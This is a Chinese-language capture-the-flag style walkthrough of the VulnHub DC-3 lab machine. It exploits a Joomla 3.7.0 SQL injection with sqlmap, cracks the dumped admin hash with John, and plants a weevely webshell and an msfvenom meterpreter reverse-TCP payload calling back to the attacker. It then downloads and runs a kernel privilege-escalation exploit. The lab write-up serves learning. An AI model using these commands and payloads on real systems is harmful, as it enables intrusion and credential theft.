准備工作
在vulnhub官網下載DC:3靶機www.vulnhub.com/entry/dc-3,312/
導入到vmware
導入的時候遇到一個問題

解決方法:
點 “虛擬機”->“設置”->選擇 “磁盤/光驅IDE設備" ->點 ”高級“,
將要 啟動設備 設置到 IDE 0:0 上就可以了


打開kali准備進行滲透(ip:192.168.200.6)
信息收集
利用nmap進行ip端口探測
nmap -sS 192.168.200.6/24

探測到ip為192.168.200.14的靶機,開放了80端口,這里吸取到dc2的教訓,再用nmap對所有端口進行探測
nmap -sV -p- 192.168.200.14

已經沒有別的端口開放了,那就進入網站看看

首頁給到的信息是只有一個flag和一個入口,讓我們直接獲取root權限,簡單粗暴
網站用的是Joomla框架,可以使用joomscan工具獲取其框架的詳細版本信息

再用dirsearch對目錄進行掃描看看有沒有別的有用信息
dirsearch -u http://192.168.200.14:80

除了個后台登陸頁面好像沒有別的有用的信息了http://192.168.200.14/administrator/index.php

Joomla
使用joomscan進行掃描,在kali直接下載
apt install joomscan

joomscan -u 192.168.200.14

看到版本是joomla3.7.0
百度到joomla存在sql注入漏洞CVE-2017-8917
但在msf不能直接利用這個漏洞

只能在searchploit中查找關於這個漏洞的利用方法
searchsploit joomla 3.7

可以打開txt文件查看具體的利用方法說明(絕對路徑為/usr/share/exploitdb/exploits/php/webapps/42033.txt)
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

直接告訴我們使用sqlmap,payload都寫好給你了
漏洞利用——sql注入
使用sqlmap用剛剛得到的payload直接跑
sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

得到5個數據庫,接下來查看joomladb數據庫中的表
sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

拿到表名#__users,接下來查看列名
sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

拿到列名后就可以看數據了
sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password,username --dump -p list[fullordering]

得到加密的密碼$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
去md5在線解密網站也解不出,但應該也是某種hash加密,只能祭出強大的John the Ripper(密碼破解工具)
保存一下密碼,直接用john爆破

得到密碼snoopy
去之前掃到的后台登陸界面登陸后台

漏洞利用——文件上傳
在后台管理頁面中找到了文件上傳的地方,准備測試一下有沒有文件上傳的漏洞


使用weevely(linux中的蟻劍)工具生成后門木馬

weevely generate test test.php
這樣就生成了后門木馬
但這里的文件上傳的地方好像不行,只能在里面創建一個文件,然后將代碼復制進去


然后用weevely連接shell(這里的url是test.php的路徑)
weevely http://192.168.200.14/templates/beez3/test.php test

連接成功,現在已經拿到一個webshell,但只有www-data權限,開始提權

權限提升
查看內核版本
uname -a

使用linux 4.4.0-21-generic #37-Ubuntu,在網上查找是ubuntu16.04
在searchploit尋找關於ubuntu16.04的權限提升的漏洞
searchsploit ubuntu 16.04 linux

打開文件查看漏洞具體利用方法
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

下載exp到dc3的本地
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
l
解壓 unzip 39772.zip,再解壓tar -xvf exploit.tar

接下來就執行剛剛漏洞利用文件演示的代碼
./compile.sh
./doubleput
但是我不知道什么情況執行了之后報錯,看了看別人的也有一位和我一樣卡住不知道什么原因

就差最后一步就可以拿到flag了。。。以后有時間在看看是怎么回事
后面和朋友討論了一下,登陸了后台之后,使用msf攻擊模塊就可以直接拿到shell,再執行漏洞文件,居然又可以了,搞不懂為什么weevely拿到的shell和msf的有區別


再試了另一種方法,使用msf進行后門連接,看看是不是文件上傳的鍋
使用msf生成后門,再像之前那樣將生成的后門手動寫入后台上
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 R > test.php

接着使用msf進行監聽
use exploit/multi/handler //使用handler模塊
set PAYLOAD php/meterpreter/reverse_tcp //設置payload
set LHOST 192.168.200.6 //監聽
run

最后訪問后門文件 ,拿到shell和之前的操作一樣,同樣可以提權。看來不是文件上傳的鍋。
將DC3靶機重裝了之后,使用weevely同樣不行,看來以后提權還是優先使用msf吧
